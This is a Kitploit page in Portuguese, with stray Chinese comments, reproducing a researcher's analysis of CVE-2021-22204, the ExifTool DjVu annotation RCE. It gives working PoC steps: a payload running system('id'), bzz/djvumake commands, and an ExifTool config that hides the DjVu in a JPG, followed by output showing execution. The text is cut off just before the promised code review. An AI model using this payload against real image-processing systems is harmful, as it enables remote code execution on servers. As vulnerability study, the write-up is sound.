Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-22204 — Análise técnica aprofundada do CVE-2021-22204 (RCE no ExifTool) com reprodução de PoC, construção de payload e revisão do código Perl do analisador de anotações DjVu vulnerável. | Kitploit
Ferramentas/GitHubGitHub/trganda/cve-2021-22204
Análise de VulnerabilidadesAnálise de CódigoExploraçãoPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubtrganda/cve-2021-22204

CVE-2021-22204

Análise técnica aprofundada do CVE-2021-22204 (RCE no ExifTool) com reprodução de PoC, construção de payload e revisão do código Perl do analisador de anotações DjVu vulnerável.

Ver Repositório
310há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade de Execução Remota de Código no ExifTool

Este deveria ser um artigo de análise do CVE-2021-22204, mas é mais como um caderno de rascunhos, cheio de coisas desorganizadas. Para um artigo de análise de vulnerabilidades, acaba sendo um tanto irrelevante, mas me ensinou muito.

Para ser honesto, nunca usei essa ferramenta e quase não tive contato com a linguagem Perl, o que fez com que eu ficasse cheio de dúvidas durante a análise e até mesmo na reprodução. Antes de começar a análise, vamos ver o PoC já divulgado na internet e as minhas dúvidas.

POC - convisolabs

Um artigo que vi foi [1], que faz uma breve introdução sobre a causa da vulnerabilidade, mas como não entendo código Perl, muitas partes não ficaram claras para mim. O processo de reprodução é o seguinte:

Baixe a versão 12.23 do exiftool

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

Descompacte e instale

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

Claro, se você não quiser instalá-lo, pode simplesmente colocar o arquivo exiftool do diretório exiftool-12.23 em um diretório que esteja no PATH do ambiente, e assim também poderá usar a ferramenta exiftool diretamente, pois Perl é uma linguagem interpretada, semelhante ao Python.

Para criar uma imagem maliciosa, primeiro instale as ferramentas necessárias

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

Execute o seguinte comando para criar um arquivo djvu malicioso

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

Em seguida, ao analisar o arquivo malicioso com a ferramenta exiftool, você verá que o comando id foi executado com sucesso.

$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Ao criar o arquivo no formato djvu com o comando djvumake anteriormente, seria possível não compactar o payload? Do ponto de vista da análise, isso dificulta a visualização e os testes. Claro que sim, basta trocar o parâmetro ANTz por ANTa. Quanto ao ANTz e ANTa, você pode consultar a documentação do exiftool [3], mas ainda não encontrei o significado específico deles, porque não há uma documentação padrão.

Aqui ainda quero reclamar: eu queria ver a descrição dos parâmetros através do man djvumake, mas não havia nenhuma explicação sobre ANTz e ANTa; a documentação é de 2001 e não é atualizada há muito tempo.

ID da TagNome da TagGravável
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa significa que Annotation é armazenada em formato de texto puro no metadata do arquivo djvu, enquanto ANTz é o formato compactado bzz.

Mas arquivos no formato djvu não são comuns, especialmente em sites que permitem upload de imagens, que geralmente aceitam apenas arquivos como png/jpg/jpeg. Então, se fosse possível transformar o arquivo djvu malicioso em um arquivo jpg, seria ótimo.

A ferramenta exiftool pode nos ajudar a modificar o conteúdo da imagem; basta inserir o arquivo djvu malicioso na posição apropriada do arquivo jpg. Quanto a qual posição exatamente e por que ela pode ser essa, explicarei mais adiante na análise.

Crie um arquivo de configuração do exiftool chamado eval.config

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b 对应Tag 'HasselbladExif'[6]
        0xc51b => {
            # 名字可以随意指定,这是接收的参数名称
            Name => 'HasselbladExif',
            # 可写入的变量类型
            Writable => 'string',
            # 写入的数据归属于metadata的哪一个Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

Sobre a forma de escrever arquivos de configuração do exiftool, consulte [4][5]. Em seguida, pegue um arquivo de imagem jpg comum, poc.jpg, e execute o seguinte comando

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

Em seguida, analise o poc.jpg com o exiftool; o comando é executado com sucesso.

$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Análise da vulnerabilidade

O processo de análise a seguir é baseado no conteúdo de [2]. A versão afetada pela vulnerabilidade é exiftool < 12.24, e o arquivo que causa a vulnerabilidade é

lib/Image/ExifTool/DjVu.pm (line 202)

O código da função relacionada é o seguinte

Baixar ferramenta